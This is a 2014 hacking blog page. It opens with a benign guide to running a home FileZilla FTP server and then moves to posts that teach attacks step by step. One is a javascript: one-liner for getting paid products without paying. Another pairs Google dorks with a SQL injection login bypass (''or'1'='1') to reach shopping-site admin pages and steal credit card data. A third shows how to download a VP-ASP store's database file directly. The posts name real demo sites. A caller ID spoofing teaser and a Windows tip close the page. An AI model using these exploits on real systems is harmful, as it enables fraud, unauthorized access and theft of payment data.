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Sunday, 9 March 2014

Build a Home FTP Server

             Build a Home FTP Server

 

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WHAT IS A FTP SERVER READ MORE HERE


Upload and download files on your home PC from anywhere by turning it into a personal FTP server. With a home FTP server, you can upload and download files on your home hard drive from the office, your friend's house, or to your laptop while you're on the road using any FTP client. Setting up an FTP server may sound like a complicated undertaking only system administrators can handle, but it's actually quite easy and free with open source software FileZilla. You've already heard oFileZilla's FTP client application, but the FileZilla project also offers a server application for Windows. Today we'll build an FTP server on your Windows PC with FileZilla for easy file transfers from any computer.


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Install the FileZilla FTP Server


The FileZilla server installation is a regular Windows "just press Next" wizard, and for most users, the suggested default settings will work. However, let's take a look at its initial settings anyway, since they'll affect how you work with your server. Here's how to get FileZilla going.

  • Download the File Zilla server application. Even though the FileZilla FTP client is available for multiple operating systems, the server app is Windows-only (and works for Windows XP, Vista and 2000). Download it and kick off the installation wizard. As of this writing, the latest server version is 0.9.25.

  • Run the server as a Windows Service. First FileZilla will give you the option of how it should start up: as a Windows service or not, automatically or manually. Windows services are processes that run on your PC which you can manage from the Services management pane. There's more on how to manage that below, but at this point, running FileZilla as a Windows service that runs automatically is the default option. If you want your FTP server on by default, choose "Start as service, started automatically (default)" as shown. Otherwise, choose "Start as service, started manually."

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In this pane you'll also set the port for the admin interface to use. By default it's 14147, and you're most likely safe leaving it at that. If you do change that port number, make a note of what it is—you'll need it to connect to the server later on.


  • Set the server administrative interface to launch automatically (or not). On the final installation dialog, choose whether you want the server admin window to launch automatically when the current Windows user logs on, when any user logs on, or if it should be started manually.

  • Run and connect to the server with the admin interface. As the installation wizard completes, set it to start the server admin interface. This is the window where you'll configure your server and monitor its activity. The first time you run the admin interface, it will ask you for the server's address and port. Since the server is running on your PC—the same one the admin interface is running on—its address is

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Or,


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The default port is 14147 (or whatever you may have changed it to, as noted above), as shown:


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If this is the only FTP server you'll be administering (most likely it is), check off the "Always connect to this server" box to bypass this dialog in the future.


Create Server Users


If all's gone well, your server's up and running—but no one can use it yet, since you haven't given anyone permission. To set up a server user, from the Edit menu choose Users. In the Users dialog on the right hand side, hit the Add button to create a new user and assign a password. Then, on the left side, select "Shared Folders" to set what folders that user will have access to on your server. Here I've created a user named gina and granted read access to the


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directory.


Note you can fine-tune file access rights for each user: grant read-only rights (download only), write rights (to upload files), and whether or not the user can delete files or create directories, too.


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If you want to grant several users access to your server all with the same rights and directory access, instead of creating each one individually, set up a user group. For example, if you're sharing your MP3 directory with friends, make a user group called "music fans" with access to the correct directory and add users to that group, which automatically gives them those rights. Then, if you move your music directory you only have to edit the group, not each user in it. To manage user groups, from the Edit menu, choose Groups.


Log into the Server


Now that the server's up and running with users, it's time to log in and try uploading and downloading. Using any FTP client (like the FileZilla client or FireFTP for Firefox) enter the server address, user name and password.


Server address If you're FTP'ing across your home network (like from your upstairs PC to your bedroom PC), you can reach the server by using its internal network address (most likely something like)


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From the command line, type

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to see what that address is. If you want to log into your FTP server over the internet, set up a memorable URL for it and allow connections from outside your network. 

User name and password This is one of the users you set up in FileZilla's admin interface, not the server admin user name. If friends, family, and co-workers will be logging into your FTP server, give them each a their specific username and password to log in (along with the server address.)

Use your FTP server to fetch files stored at home from anywhere, share files with friends and family, or back up files across your network. (Free backup software SyncBack supports backup over FTP.



AT Last I Would Like To Say Few Words About Its Security 

FTP is not a secure protocol; all the file transfers happen in the clear, which makes them ripe for sniffing. FileZilla does support encrypted FTP access, and we recommend using that or a VPN like Hamachi to secure file transfers over the internet. FileZilla's secure FTP server setup is beyond the scope of this article, but you can go into the server admin interface's settings area to configure it.

 

Saturday, 8 March 2014

Paypal Javascript Exploit

                         Paypal Javascript Exploit


Here is a simple JavaScript exploit through which you can hack Paypal & download products for free without spending single penny . More then 500 sites are Vulnerable !! .










Step by Step Guide :


  • Go to the vulnerable site & paste the below JavaScript given below in the browser & hit enter ! .


javascript:top.location=document.getElementsByName('return')[0].value; javascript:void(0);



  • So after you have hit enter, just sit back & enjoy the free product . 

Live Demo :~#


So after you paste the JavaScript in the URL then the product will be automatically downloaded :)



More Vulnerable sites link - http://pastebin.com/nLuSZb9J  (some sites are patched)

So as you all know that its will contain many details .But remember you can go behind the bars for this . Its a big Crime .We have provided this Tutorial to make all of you aware of such hacks 

Admin Page Vulnerability | Hacking Credit Card

         

Admin Page Vulnerability | Hacking Credit Card


Here is the second part of Hacking Credit Card . Another easy & working Exploit .







Step By Step Guide :~#
  • Go to Google & type this Dork  -  inurl:\"/cart.php?m=\"
  • After that the Target URL will look like -   http://www.facesbyfelicia.com/store/cart.php?m=view (Demo) .
  • Then now we will find the admin page & hack into the website so we will modify the URL to find the Admin page 


Now you will be asked username & password so write this -
Username - 'or'1'='1
Password - 'or'1'='1

So as you all know that its will contain many credit card details as its a shopping site !But remember you can go behind the bars for this . Its a big Crime .We have provided this Tutorial to make all of you aware of such hacks .

VP-ASP Shopping Cart 5.00 Exploit

                  VP-ASP Shopping Cart 5.00 Exploit 



Here is a small exploit to Hack & Steal Credit card info & many other data from a site .







Step By Step Guide :~#



  • Go to Google & type this Dork  - intitle: VP-ASP Shopping Cart 5.00 l
  • After that the Target URL will look like -  www.tcsprogramming.net/shopping/diag_dbtest.asp  (Demo)
  • Then there you can see many details like xDatabase xDatabas Location xEmail & Many others  so the thing we have to do here site get the Database of that particular Website .
  • To get the database we will modify the URL 

Live Demo :

Target - www.tcsprogramming.net/shopping/diag_dbtest.asp
Exploit - http://www.tcsprogramming.net/shopping/shopping550.mdb

So here we have exploited the database  to get all the data of the website  . Just Replace the diag_dbtest.asp to shopping/shopping550.mdb (xDatabase) .

Enabling God Mode in Windows 7.


                           Enabling God Mode in Windows 7






In this post I will show you how you can enable God Mode on your windows 7 machine.
Which will bring all the windows setting under one hood without needing to browse options and folders in the Control Panel. The term “GOD MODE” is given by Microsoft Development Team.
Follow the steps described below-

1.Create a new folder.
2.Rename the folder to GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}  (you          can change the name GodMode to any name as you wish but remember not to change the text after GodMode.
3.The icon of your folder will change. Double click on it to open the GOD MODE window.

Caller ID Spoofing:Display any number when you call your friend.

Caller ID Spoofing:Display any number when you call your friend.


In this post I will be showing you guys how to do Caller ID Spoofing. It is basically a trick in which you can display any mobile number of your choice on your victims mobile when you call him. For performing this simple trick there is a very cool website called CrazyCall.



The world have changed a lot, people have changed a lot

To be continued ...